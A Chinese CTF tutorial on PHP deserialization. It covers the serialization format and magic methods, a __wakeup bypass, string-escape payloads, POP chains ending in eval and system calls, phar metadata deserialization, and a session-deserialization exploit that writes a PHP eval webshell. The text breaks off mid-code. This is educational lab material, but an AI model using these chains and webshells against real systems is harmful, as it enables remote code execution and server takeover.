• 技术文章 >后端开发 >php教程

    PHP反序列化入门总结(小白必看)

    青灯夜游青灯夜游2023-01-28 18:06:22转载43

    最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。

    php反序列化简单理解

    首先我们需要理解什么是序列化,什么是反序列化?

    PHP序列化:serialize()

    序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

    PHP反序列化:unserialize()

    反序列化是将字符串转换成变量或对象的过程

    通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

    说这么多不如直接一点测试一下

    php序列化的字母标识

    测试一下

    <?php  
    class TEST{  
    public $test1="11";  
    private $test2="22";  
    protected $test3="33";  
    public function test4()  
    {  
    echo $this->test1;  
    }  
    }  
    $a=new TEST();  
    echo serialize($a);  
    //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

    O代表类,然后后面4代表类名长度,接着双引号内是类名

    然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}

    protected 和private其实是有不可打印字符的,所以这里附上截图

    1.png

    从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写

    有时候做题时为了防止传参中有啥意外,一般就会urlencode一下

    什么是魔术方法?

    做php反序列化的题总会遇到魔术方法

    其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作

    举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数

    <?php  
    class A{  
    public $a="这里是__construct";  
    public function __construct()  
    {  
    echo $this->a;  
    }  
    public function __destruct()  
    {  
    echo $this->a="这里是__destruct";  
    }  
    
    }  
    $a=new A();
    
    //输出这里是construct这里是destruct

    后边的题中也会给一些测试魔术方法的例子

    想买给出魔术方法触发的情况,这对解题有很大帮助

    光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家

    简单的反序列化题

    题目来自[SWPUCTF 2021 新生赛]ez_unserialize

    <?php  
    error_reporting(0);  
    show_source("cl45s.php");  
    
    class wllm{  
    
    public $admin;  
    public $passwd;  
    
    public function __construct(){  
    $this->admin ="user";  
    $this->passwd = "123456";  
    }  
    
    public function __destruct(){  
    if($this->admin === "admin" && $this->passwd === "ctf"){  
    include("flag.php");  
    echo $flag;  
    }else{  
    echo $this->admin;  
    echo $this->passwd;  
    echo "Just a bit more!";  
    }  
    }  
    }  
    
    $p = $_GET['p'];  
    unserialize($p);  
    ?>

    construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag

    php反序列化是可以控制类方法的属性但不能改类方法的代码

    于是我们直接更改就行,

    <?php  
    class wllm{  
    
    public $admin;  
    public $passwd;  
    public function __construct(){  
    $this->admin ="admin";  
    $this->passwd = "ctf";  
    }  
    }  
    $a=new wllm();  
    echo urlencode(serialize($a));  
    ?>

    然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

    __wakeup绕过

    这个其实是个CVE,CVE-2016-7124

    影响版本php5<5.6.25,php7<7.010

    简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    而魔术方法__wakeup执行unserialize()时,先会调用这个函数

    写个代码本地测试一下

    <?php  
    class A{  
    public $a;  
    public function __construct()  
    {  
    $this->a="触发__construct";  
    }  
    public function __wakeup()  
    {  
    $this->a="触发__wakeup";  
    }  
    public function __destruct()  
    {  
    echo $this->a;  
    }  
    
    }  
    $a=new A();  
    echo serialize($a);

    O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

    反序列化一下,输出触发__wakeup

    2.png

    O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

    3.png

    触发__construct,绕过了wakeup

    [极客大挑战 2019]PHP __wakeup()绕过

    <?php  
    include 'class.php';  
    $select = $_GET['select'];  
    $res=unserialize(@$select);
    
    <?php  
    include 'flag.php';  
    
    
    error_reporting(0);  
    
    
    class Name{  
    private $username = 'nonono';  
    private $password = 'yesyes';  
    
    public function __construct($username,$password){  
    $this->username = $username;  
    $this->password = $password;  
    }  
    
    function __wakeup(){  
    $this->username = 'guest';  
    }  
    
    function __destruct(){  
    if ($this->password != 100) {  
    echo "</br>NO!!!hacker!!!</br>";  
    echo "You name is: ";  
    echo $this->username;echo "</br>";  
    echo "You password is: ";  
    echo $this->password;echo "</br>";  
    die();  
    }  
    if ($this->username === 'admin') {  
    global $flag;  
    echo $flag;  
    }else{  
    echo "</br>hello my friend~~</br>sorry i can't give you the flag!";  
    die();  
    
    }  
    }  
    }

    看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

    这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

    //$a=new Name('admin','100');  
    //echo urlencode(serialize($a));  
    //echo serialize($a);  
    $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
    var_dump(unserialize(urldecode($b)));

    4.png

    那么修改对象个数为大于2

    O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

    得到flag

    5.png

    POC

    <?php  
    
     
    
    class Name{  
    private $username = 'admin';  
    private $password = '100';  
    
    public function __construct($username,$password){  
    $this->username = $username;  
    $this->password = $password;  
    }  
    
    
    }  
    
    $a=new Name('admin','100');  
    echo urlencode(serialize($a));  
    //echo serialize($a);  
    //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
    ?>

    反序列化逃逸问题

    逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

    所以会有两种情况,一种是由长变短,一种是由短变长

    由长变短

    自己随手写个题测试下

    <?php  
    highlight_file(__FILE__);  
    class A  
    {  
    public $a;  
    public $b;  
    public $c;  
    public function __construct()  
    {  
    $this->a=$_GET['a'];  
    $this->b="noflag";  
    $this->c=$_GET['c'];  
    }  
    public function check()  
    {  
    if ($this->b==="123")  
    {  
    echo "flag{123dddd}";  
    }  
    else if ($this->a==="test")  
    {  
    echo "give you flag";  
    }  
    else  
    {  
    echo "no flag";  
    }  
    }  
    public function __destruct()  
    {  
    $this->check();  
    }  
    }  
    $a=new A();  
    $b=serialize($a);  
    $c=str_replace("aa","b",$b);  
    unserialize($c);

    这里本地写一个测试简单利用下,学会这个逃逸思路即可

    $b=serialize($a);  
    echo $b;  
    $c=str_replace("aa","b",$b);  
    echo($c);  
    //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
    //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

    这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

    $this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

    开始构造

    然后计算要吞噬掉多少位

    6.png

    print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))  
    print(36*'aa')  
    //35  
    //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

    a=36个aa,c=;s:1:"b";s:3:"123

    这样构造出来为

    O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}
    
    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:
    
    print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))

    刚好为72个,成功反序列化,得到flag

    7.png

    由短变长

    题目来自ctfshowWEB262

    index.php
    
    <?php  
    error_reporting(0);  
    class message{  
    public $from;  
    public $msg;  
    public $to;  
    public $token='user';  
    public function __construct($f,$m,$t){  
    $this->from = $f;  
    $this->msg = $m;  
    $this->to = $t;  
    }  
    }  
    
    $f = $_GET['f'];  
    $m = $_GET['m'];  
    $t = $_GET['t'];  
    
    if(isset($f) && isset($m) && isset($t)){  
    $msg = new message($f,$m,$t);  
    $umsg = str_replace('fuck', 'loveU', serialize($msg));  
    setcookie('msg',base64_encode($umsg));  
    echo 'Your message has been sent';  
    }

    highlight_file(FILE);

    从题目注释里可以找到message.php

    message.php源码

    <?php  
    
    highlight_file(__FILE__);  
    include('flag.php');  
    
    class message{  
    public $from;  
    public $msg;  
    public $to;  
    public $token='user';  
    public function __construct($f,$m,$t){  
    $this->from = $f;  
    $this->msg = $m;  
    $this->to = $t;  
    }  
    }  
    
    if(isset($_COOKIE['msg'])){  
    $msg = unserialize(base64_decode($_COOKIE['msg']));  
    if($msg->token=='admin'){  
    echo $flag;  
    }  
    }

    很明显,要想得到flag要把token值更改为admin

    但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

    <?php  
    class test  
    {  
    public $username="fuckfuck";  
    public $password;  
    
    }  
    
    $a=new test();  
    //echo serialize($a);  
    echo str_replace('fuck','loveU',serialize($a));  
    //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
    //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

    可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

    因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

    伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

    那么需要27个fuck就行

    payload
    ?f=1
    &m=1
    &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

    然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

    POP链构造

    做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

    [SWPUCTF 2021 新生赛]pop

    题目源码

    <?php  
    
    error_reporting(0);  
    show_source("index.php");  
    
    class w44m{  
    
    private $admin = 'aaa';  
    protected $passwd = '123456';  
    
    public function Getflag(){  
    if($this->admin === 'w44m' && $this->passwd ==='08067'){  
    include('flag.php');  
    echo $flag;  
    }else{  
    echo $this->admin;  
    echo $this->passwd;  
    echo 'nono';  
    }  
    }  
    }  
    
    class w22m{  
    public $w00m;  
    public function __destruct(){  
    echo $this->w00m;  
    }  
    }  
    
    class w33m{  
    public $w00m;  
    public $w22m;  
    public function __toString(){  
    $this->w00m->{$this->w22m}();  
    return 0;  
    }  
    }  
    
    $w00m = $_GET['w00m'];  
    unserialize($w00m);  
    
    ?>

    POP链入手,先找关键代码,然后推断

    需要admin为w44m,passwd为08067 才能得到flag

    if($this->admin === 'w44m' && $this->passwd ==='08067'){
    echo $flag;

    发现可以利用$this->w00m->{$this->w22m}();

    这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

    在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

    前面魔术方法提到

    __toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

    链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

    poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

    <?php  
    class w44m{  
    
    private $admin = 'w44m';  
    protected $passwd = '08067';  
    
    }  
    class w22m{  
    public $w00m;  
    public function __destruct(){  
    echo $this->w00m;  
    }  
    }  
    class w33m{  
    public $w00m="";  
    public $w22m="getflag";  
    public function __toString(){  
    $this->w00m->{$this->w22m}();  
    return 1;  
    }  
    }  
    $a=new w22m();  
    $a->w00m=new w33m();  
    $a->w00m->w00m=new w44m();  
    echo urlencode( serialize($a));  
    
    
    ?>

    [NISACTF 2022]babyserialize

    <?php  
    include "waf.php";  
    class NISA{  
    public $fun="show_me_flag";  
    public $txw4ever;  
    public function __wakeup()  
    {  
    if($this->fun=="show_me_flag"){  
    hint();  
    }  
    }  
    
    function __call($from,$val){  
    $this->fun=$val[0];  
    }  
    
    public function __toString()  
    {  
    echo $this->fun;  
    return " ";  
    }  
    public function __invoke()  
    {  
    checkcheck($this->txw4ever);  
    @eval($this->txw4ever);  
    }  
    }  
    
    class TianXiWei{  
    public $ext;  
    public $x;  
    public function __wakeup()  
    {  
    $this->ext->nisa($this->x);  
    }  
    }  
    
    class Ilovetxw{  
    public $huang;  
    public $su;  
    
    public function __call($fun1,$arg){  
    $this->huang->fun=$arg[0];  
    }  
    
    public function __toString(){  
    $bb = $this->su;  
    return $bb();  
    }  
    }  
    
    class four{  
    public $a="TXW4EVER";  
    private $fun='abc';  
    
    public function __set($name, $value)  
    {  
    $this->$name=$value;  
    if ($this->fun = "sixsixsix"){  
    strtolower($this->a);  
    }  
    }  
    }  
    
    if(isset($_GET['ser'])){  
    @unserialize($_GET['ser']);  
    }else{  
    highlight_file(__FILE__);  
    }  
    
    //func checkcheck($data){  
    // if(preg_match(......)){  
    // die(something wrong);  
    // }  
    //}  
    
    //function hint(){  
    // echo ".......";  
    // die();  
    //}  
    ?>
    
    查看了一下提示发现什么也没有
    
    if(isset($_GET['ser'])){@unserialize($_GET['ser']);
    
    这是头部
    
    这是尾部
    
    public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);
    
    }

    从__invoke()这里开始触发

    __invoke() 当脚本尝试将对象调用为函数时触发

    return $bb()而这里有一个函数调用

    那么$bb是class Nisa的对象就会调用 __invoke

    触发$bb要调用 __toString()

    而__toString()是

    当一个对象被当作一个字符串被调用。

    找类似echo 这种代码,而这里有个strtolower

    8.png

    strtolower是在set方法里的

    __set触发

    在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

    在four类的中有private $fun='abc';

    Ilovetxw类中的__call方法访问了fun这个变量

    function __call($from,$val){  
    $this->fun=$val[0];  
    }

    而__call方法

    对不存在的方法或者不可访问的方法进行调用就自动调用

    TianXiWei类中的wakeup会触发call

    $this->ext->nisa($this->x); nisa()这个方法并不存在

    这里详细说下

    <?php  
    class nisa  
    {  
    public $b="";  
    }  
    class TianXiWei{  
    public $ext;  
    public $x;  
    public function __wakeup()  
    {  
    $this->ext->nisa($this->x);  
    }  
    }  
    
    class test  
    {  
    public $a ="";  
    public function __call($a,$b)  
    {  
    echo "call";  
    }  
    }  
    $a=new TianXiWei();  
    $a->ext=new test();  
    //echo urlencode(serialize($a));  
    echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
    //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

    wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

    链子很清晰了

    TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke
    
    POC
    
    <?php  
    class NISA  
    {  
    public $fun = "";  
    public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过  
    }  
    class TianXiWei{  
    public $ext;  
    public $x;  
    }  
    class Ilovetxw{  
    public $huang;  
    public $su;  
    }  
    class four{  
    public $a="TXW4EVER";  
    private $fun='abc';  
    
    }  
    $a=new TianXiWei();//从这里下手触发__wakeup  
    $a->ext=new Ilovetxw();//触发__call  
    $a->ext->huang=new four();//触发__set  
    $a->ext->huang->a=new Ilovetxw();//触发__tosrting  
    $a->ext->huang->a->su=new NISA();//触发__invoke  
    echo urlencode(serialize($a));

    相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

    phar反序列化

    单的理解phar反序列化

    phar是什么?

    phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

    phar可以干什么?

    将多个php文件合并成一个独立的压缩包,相对独立

    不用解压到硬盘就可以运行php脚本

    支持web服务器和命令行运行

    注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

    9.png

    phar文件的的结构

    一个phar文件通常由四部分组成,

    <?php  
    class Test {//自定义  
    }  
    
    @unlink("phar.phar");  
    $phar = new Phar("phar.phar"); //后缀名必须为phar  
    $phar->startBuffering();  
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
    $o = new Test();  
    $phar->setMetadata($o); //将自定义的meta-data存入manifest  
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件  
    //签名自动计算  
    $phar->stopBuffering();  
    
    ?>

    生成一个phar.phar文件

    10.png

    拉进010分析

    11.png

    可以清楚看到一个标识符,一个序列化,一个文件名

    有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

    is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file
    
    <?php  
    highlight_file(__FILE__);  
    class Test {//自定义  
    public $name='phpinfo();';  
    }  
    $phar=new phar('rce.phar');  
    $phar->startBuffering();  
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  
    $o=new Test();  
    $phar->setMetadata($o);  
    $phar->addFromString("flag.txt","flag");//添加要压缩的文件  
    //签名自动计算  
    $phar->stopBuffering();  
    ?>

    这里用file_get_contents测试下

    <?php  
    class test{  
    public $name='';  
    public function __destruct()  
    {  
    eval($this->name);  
    }  
    }  
    
    echo file_get_contents('phar://rce.phar/flag.txt');  
    ?>

    12.png

    漏洞利用条件

    姿势

    compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
    
    php://filter/read=convert.base64-encode/resource=phar://phar.phar

    可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

    $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif

    [SWPUCTF 2021 新生赛]babyunser phar反序列化

    查看class.php获取源码

    <?php  
    class aa{  
    public $name;  
    
    public function __construct(){  
    $this->name='aa';  
    }  
    
    public function __destruct(){  
    $this->name=strtolower($this->name);  
    }  
    }  
    
    class ff{  
    private $content;  
    public $func;  
    
    public function __construct(){  
    $this->content="<?php @eval($_POST[1]);?>";  
    }  
    
    public function __get($key){  
    $this->$key->{$this->func}($_POST['cmd']);  
    }  
    }  
    
    class zz{  
    public $filename;  
    public $content='surprise';  
    
    public function __construct($filename){  
    $this->filename=$filename;  
    }  
    
    public function filter(){  
    if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){  
    die('这不合理');  
    }  
    }  
    
    public function write($var){  
    $filename=$this->filename;  
    $lt=$this->filename->$var;  
    //此功能废弃,不想写了  
    }  
    
    public function getFile(){  
    $this->filter();  
    $contents=file_get_contents($this->filename);  
    if(!empty($contents)){  
    return $contents;  
    }else{  
    die("404 not found");  
    }  
    }  
    
    public function __toString(){  
    $this->{$_POST['method']}($_POST['var']);  
    return $this->content;  
    }  
    }  
    
    class xx{  
    public $name;  
    public $arg;  
    
    public function __construct(){  
    $this->name='eval';  
    $this->arg='phpinfo();';  
    }  
    
    public function __call($name,$arg){  
    $name($arg[0]);  
    }  
    }
    
    <?php  
    error_reporting(0);  
    $filename=$_POST['file'];  
    if(!isset($filename)){  
    die();  
    }  
    $file=new zz($filename);  
    $contents=$file->getFile();  
    ?>  
    <br>  
    <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

    构造链子

    先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

    __get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

    访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

    aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

    看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

    如下代码进行测试

    <?php  
    class test  
    {  
    private $a;  
    public $b;  
    
    public function __construct($a,$b)  
    {  
    $this->a="aaa";  
    $this->b="bbb";  
    
    }  
    public function __get($name)  
    {  
    // TODO: Implement __get() method.  
    
    $this->a="__get";  
    $this->b="111";  
    }  
    public function __destruct()  
    {  
    echo $this->a;  
    echo $this->b;  
    }  
    }  
    $a =new test("s","s");  
    //echo $a->a;  
    $b=serialize($a);  
    unserialize($b);

    注释掉echo 输出是aaabbbaaabbb

    去掉注释输出是get111get111

    如此那么构造POP链子

    <?php  
    class aa{  
    public $name;  
    }  
    class ff{  
    private $content;  
    public $func;  
    public function __construct(){  
    $this->content=new xx();//这里New xx  
    }  
    }  
    class zz{  
    public $filename;  
    public $content;  
    }  
    class xx  
    {  
    public $name;  
    public $arg;  
    }  
    
    $a=new aa();  
    $c=new ff();  
    $a->name=new zz();  
    $c->func="system";  
    $a->name->filename=$c;  
    
    $phar = new Phar("flag.phar"); //后缀名必须为phar  
    $phar->startBuffering();  
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
    //$o = new Test();  
    $phar->setMetadata($a); //将自定义的meta-data存入manifest  
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件  
    //签名自动计算  
    $phar->stopBuffering();

    13.png

    上传之后使用phar协议读取

    file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

    session反序列化

    session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

    而session是以文件方式存储的

    直接找一道题做做

    题目来自ctfshowWEB263

    打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

    dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

    14.png

    存在源码泄露,访问www.zip,下载下来源码,关键代码

    index.php源码

    */  
    error_reporting(0);  
    session_start();  
    //超过5次禁止登陆  
    if(isset($_SESSION['limit'])){  
    $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);  
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);  
    }else{  
    setcookie("limit",base64_encode('1'));  
    $_SESSION['limit']= 1;  
    }  
    
    ?>

    check.php源码

    <?php  
    
    /*  
    # -*- coding: utf-8 -*-  
    # @Author: h1xa  
    # @Date: 2020-09-03 16:59:10  
    # @Last Modified by: h1xa  
    # @Last Modified time: 2020-09-06 19:15:38  
    # @email: h1xa@ctfer.com  
    # @link: https://ctfer.com  
    
    */  
    
    error_reporting(0);  
    require_once 'inc/inc.php';  
    $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);  
    
    
    if($GET){  
    
    $data= $db->get('admin',  
    [ 'id',  
    'UserName0'  
    ],[  
    "AND"=>[  
    "UserName0[=]"=>$GET['u'],  
    "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
    ]  
    ]);  
    if($data['id']){  
    //登陆成功取消次数累计  
    $_SESSION['limit']= 0;  
    echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));  
    }else{  
    //登陆失败累计次数加1  
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);  
    echo json_encode(array("error","msg"=>"登陆失败"));  
    }  
    }
    
    inc.php中有一个这个
    
    ini_set('session.serialize_handler', 'php');
    
    而session存储格式(序列化)其中有这两种
    
    ini_set('session.serialize_handler', 'php');
    
    ini_set('session.serialize_handler', ' php_serialize ');

    测试一下看这两个什么区别

    <?php  
    ini_set('session.serialize_handler','php');  
    session_start();  
    class test1{  
    public $a="test";  
    }  
    $a=new test1();  
    $_SESSION['user']=$a;

    在tmp下找到这个文件打开看

    user|O:5:"test1":1:{s:1:"a";s:4:"test";}
    
    <?php  
    ini_set('session.serialize_handler','php_serialize');  
    session_start();  
    class test1{  
    public $a="test";  
    }  
    $a=new test1();  
    $_SESSION['user']=$a;
    
    a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

    两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

    inc.php中关键代码

    class User{  
    public $username;  
    public $password;  
    public $status;  
    function __construct($username,$password){  
    $this->username = $username;  
    $this->password = $password;  
    }  
    function setStatus($s){  
    $this->status=$s;  
    }  
    function __destruct(){  
    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));  
    }  
    }
    
    function __destruct(){
    
    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    
    }

    可以利用这个函数写一句话木马

    而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

    <?php  
    class User  
    {  
    public $username;  
    public $password;  
    
    function __construct($username, $password)  
    {  
    $this->username = $username;  
    $this->password = $password;  
    }  
    }  
    $a=new User('1.php','<?php eval($_POST["1"]);?>');  
    echo base64_encode("|".serialize($a));

    访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

    第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

    ,因为有base64_decode,所以这里我们还有base64_encode一下

    抓包改limit值

    15.png

    然后发包,接着访问check.php 实现反序列化shell的写入

    16.png

    然后变更请求方法,注意直接右键选择变更POST请求

    17.png

    tricks总结

    16进制绕过字符过滤

    //O:1:"A":1:{s:2:"ab";s:4:"test";}  
    //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制

    php类名对大小写不敏感

    ctfshowWEB266

    <?php  
    
    highlight_file(__FILE__);  
    
    include('flag.php');  
    $cs = file_get_contents('php://input');  
    
    
    class ctfshow{  
    public $username='xxxxxx';  
    public $password='xxxxxx';  
    public function __construct($u,$p){  
    $this->username=$u;  
    $this->password=$p;  
    }  
    public function login(){  
    return $this->username===$this->password;  
    }  
    public function __toString(){  
    return $this->username;  
    }  
    public function __destruct(){  
    global $flag;  
    echo $flag;  
    }  
    }  
    $ctfshowo=@unserialize($cs);  
    if(preg_match('/ctfshow/', $cs)){  
    throw new Exception("Error $ctfshowo",1);  
    }

    很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

    这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

    直接这样

    $cs = file_get_contents('php://input');采用php伪协议传参

    直接提交POST数据就行

    <?php  
    
    
    class cTfshow  
    {  
    
    
    }  
    
    $a=new cTfshow();  
    echo (serialize($a));

    18.png

    +号绕过

    ctfshowWEB258

    <?php  
    
    
    error_reporting(0);  
    highlight_file(__FILE__);  
    
    class ctfShowUser{  
    public $username='xxxxxx';  
    public $password='xxxxxx';  
    public $isVip=false;  
    public $class = 'info';  
    
    public function __construct(){  
    $this->class=new info();  
    }  
    public function login($u,$p){  
    return $this->username===$u&&$this->password===$p;  
    }  
    public function __destruct(){  
    $this->class->getInfo();  
    }  
    
    }  
    
    class info{  
    public $user='xxxxxx';  
    public function getInfo(){  
    return $this->user;  
    }  
    }  
    
    class backDoor{  
    public $code;  
    public function getInfo(){  
    eval($this->code);  
    }  
    }  
    
    $username=$_GET['username'];  
    $password=$_GET['password'];  
    
    if(isset($username) && isset($password)){  
    if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){  
    $user = unserialize($_COOKIE['user']);  
    }  
